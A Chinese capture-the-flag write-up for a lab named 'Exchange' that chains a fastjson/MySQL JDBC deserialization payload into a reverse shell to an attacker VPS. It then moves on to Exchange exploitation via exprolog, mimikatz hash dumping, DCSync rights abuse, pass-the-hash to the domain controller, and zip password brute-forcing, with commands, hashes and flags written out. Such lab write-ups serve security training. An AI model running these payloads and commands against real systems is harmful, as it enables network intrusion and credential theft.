靶标介绍
Exchange 是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有 4 个 Flag,分布于不同的靶机。 *注意:该靶场只有4个flag,如果提交完4个flag后仍未攻克成功,请关闭环境提交反馈。
知识点:
- JDBC
- Exchange
- NTLM
- Coerce Authentication
- DCSync
flag01
首先fscan扫描,扫到了华夏erp的后台。
尝试弱口令admin 123456直接进来了,或者注册账号再进来也行。
查资料后台有个fastjson反序列化的洞。poc如下,注意要url编码后发送:
{"@type":"java.net.Inet4Address","val":"fvnp2k.dnslog.cn"}
进行urldns链检测,我这里用的yakit自带的dnslog检测,非常好用。
可以看到接收到了请求,于是尝试开启恶意的rmi服务进行反弹shell操作,但是怎么打都打不下来,继续查资料,翻到下面的博客:
fastjson 反序列化之mysql JDBC 利用_fastjson mysql利用链-CSDN博客
{
"name": {
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "vpsIP地址",
"portToConnectTo": 3306,
"info": {
"user": "yso_CommonsCollections6_bash -c {echo,base64编码后的命令}|{base64,-d}|{bash,-i}",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
}
}
再次url编码发送,成功反弹shell
root权限,直接获取flag:flag{a8da1d47-5668-4ea9-be99-30ce084b9a39}。
flag02
搜集网段信息:
上传fscan、frpc、frpc.ini,然后进行扫描和流量代理。
172.22.3.2:445 open
172.22.3.9:8172 open
172.22.3.9:445 open
172.22.3.26:139 open
172.22.3.2:139 open
172.22.3.26:135 open
172.22.3.2:135 open
172.22.3.9:80 open
172.22.3.12:80 open
172.22.3.12:22 open
172.22.3.12:8000 open
172.22.3.9:808 open
172.22.3.26:445 open
172.22.3.9:135 open
172.22.3.9:81 open
172.22.3.2:88 open
172.22.3.9:139 open
172.22.3.9:443 open
[*] NetBios 172.22.3.26 XIAORANG\XIAORANG-PC
[*] NetInfo
[*]172.22.3.2
[->]XIAORANG-WIN16
[->]172.22.3.2
[*] WebTitle http://172.22.3.12 code:200 len:19813 title:lumia
[*] NetInfo
[*]172.22.3.26
[->]XIAORANG-PC
[->]172.22.3.26
[*] NetBios 172.22.3.2 [+] DC:XIAORANG-WIN16.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetInfo
[*]172.22.3.9
[->]XIAORANG-EXC01
[->]172.22.3.9
[*] OsInfo 172.22.3.2 (Windows Server 2016 Datacenter 14393)
[*] WebTitle http://172.22.3.12:8000 code:302 len:0 title:None 跳转url: http://172.22.3.12:8000/login.html
[*] NetBios 172.22.3.9 XIAORANG-EXC01.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] WebTitle http://172.22.3.12:8000/login.html code:200 len:5662 title:Lumia ERP
[*] WebTitle http://172.22.3.9:81 code:403 len:1157 title:403 - 禁止访问: 访问被拒绝。
[*] WebTitle https://172.22.3.9:8172 code:404 len:0 title:None
[*] WebTitle http://172.22.3.9 code:403 len:0 title:None
[*] WebTitle https://172.22.3.9 code:302 len:0 title:None 跳转url: https://172.22.3.9/owa/
[*] WebTitle https://172.22.3.9/owa/auth/logon.aspx?url=https%3a%2f%2f172.22.3.9%2fowa%2f&reason=0 code:200 len:28237 title:Outlook
简单分析一下:
172.22.3.12
已经拿下的web服务器
172.22.3.9
exchange服务器 XIAORANG-EXC01
172.22.3.2
XIAORANG-WIN16
172.22.3.26
DC:XIAORANG-WIN16.xiaorang.lab
先打exchange服务器,直接exprolog梭哈成功。
proxychains python exprolog.py -t 172.22.3.9 -e [email protected]
修改exec里面的内容进行添加用户的操作,别忘了加到管理员组。
net user test Abcd1234 /add
net localgroup administrators test /add
远程连接,拿到flag:flag{2e393657-e885-4dbc-ae21-c542082976a9}。
flag03
上传mimikatz,抓取hash。
要以管理员身份打开cmd,简单分析一下,有用的hash如下:
* Username : XIAORANG-EXC01$
* Domain : XIAORANG
* NTLM : 88f4cf50b8ecdb0cf5bfe4e24768c3e1
* SHA1 : c6f3c7b125491ffad07945f560d1ce8bb1e334dc
* Username : Zhangtong
* Domain : XIAORANG
* NTLM : 22c7f81993e96ac83ac2f3f1903de8b4
* SHA1 : 4d205f752e28b0a13e7a2da2a956d46cb9d9e01e
* DPAPI : ed14c3c4ef895b1d11b04fb4e56bb83b
exchange机器账户隶属于Exchange Windows Permissions这个组中,而这个组具有write 域内acl权限,所以可以设置刚刚通过mimikatz拿到的域内用户Zhangtong的dcsync属性。
proxychains python dacledit.py xiaorang.lab/XIAORANG-EXC01\$ -hashes :88f4cf50b8ecdb0cf5bfe4e24768c3e1 -action write -rights DCSync -principal Zhangtong -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.3.2
进行dcsync操作获取hash
proxychains python secretsdump.py xiaorang.lab/[email protected] -hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc
获取管理员hash。
xiaorang.lab\Administrator:500:aad3b435b51404eeaad3b435b51404ee:7acbc09a6c0efd81bfa7d5a1d4238beb:::
pth域控。
proxychains python psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7acbc09a6c0efd81bfa7d5a1d4238beb ./[email protected]
获取flag:flag{754be99f-e1f2-4950-88a3-b460093965c1}
flag04
这里有个smb文件共享,利用域管的hash进来看看,发现Lumia桌面下存在secret.zip文件
下载回来尝试打开发现需要密码。
回去利用https://github.com/Jumbo-WJB/PTH_Exchange的工具把Lumia的邮件都下载下来。
发现提示,"密码是你的手机号",正好邮件里面还有一个表格,有一大堆手机号拿过来进行爆破。
成功拿到flag: flag{cf0c753c-233f-4729-8984-0746ea5878b7}